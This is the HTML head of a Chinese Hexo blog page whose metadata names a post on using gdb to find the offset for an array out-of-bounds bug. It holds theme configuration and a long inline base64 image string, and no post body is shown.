<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.3.0">
  <link rel="apple-touch-icon" sizes="180x180" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="icon" type="image/png" sizes="32x32" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="icon" type="image/png" sizes="16x16" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="mask-icon" href="https://www.hualigs.cn/image/6015799666530.jpg" color="#222">
  <link rel="manifest" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <meta name="msapplication-config" content="https://www.hualigs.cn/image/6015799666530.jpg">

<link rel="stylesheet" href="/diazang/css/main.css">


<link rel="stylesheet" href="/diazang/lib/font-awesome/css/all.min.css">

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"jue-xian.gitee.io","root":"/diazang/","scheme":"Gemini","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":true,"scrollpercent":true},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"search.xml"};
  </script>

  <meta name="description" content="填坑&#x3D;-&#x3D; 记下数组偏移寻找嗷">
<meta property="og:type" content="article">
<meta property="og:title" content="数组越界gdb调试找偏移">
<meta property="og:url" content="https://jue-xian.gitee.io/diazang/2021/04/21/%E6%95%B0%E7%BB%84%E8%B6%8A%E7%95%8Cgdb%E8%B0%83%E8%AF%95/index.html">
<meta property="og:site_name" content="RUBIA">
<meta property="og:description" content="填坑&#x3D;-&#x3D; 记下数组偏移寻找嗷">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="%0A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%0AUy